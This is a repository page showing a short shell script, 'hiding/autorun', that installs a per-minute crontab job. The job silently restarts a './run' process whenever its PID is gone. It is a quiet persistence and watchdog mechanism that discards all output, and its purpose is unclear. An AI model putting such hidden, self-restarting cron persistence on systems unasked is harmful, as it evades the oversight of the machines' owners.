repo.or.cz
/
GalaxyCodeBases.git
/
blob
commit
grep
author
committer
pickaxe
?
search:
re
summary
|
log
|
graphiclog1
|
graphiclog2
|
commit
|
commitdiff
|
tree
|
refs
|
edit
|
fork
blame
|
history
|
raw
|
HEAD
modified: n.fq
[GalaxyCodeBases.git]
/
etc
/
Server
/
hiding
/
autorun
blob
b6d6d2148e1d766bd6ace519a62d784f36ed738a
1
#!/bin/sh
2
pwd
>
dir
3
dir
=
$
(
cat
dir
)
4
echo
"* * * * *
$dir
/upd >/dev/null 2>&1"
>
cron
5
crontab cron
6
crontab
-l
|
grep
upd
7
echo
"#!/bin/sh
8
if test -r
$dir
/bash.pid; then
9
pid=\$(cat
$dir
/bash.pid)
10
if \$(kill -CHLD \
$pid
>/dev/null 2>&1)
11
then
12
exit 0
13
fi
14
fi
15
./run &>/dev/null"
>
upd
16
chmod
+
x
*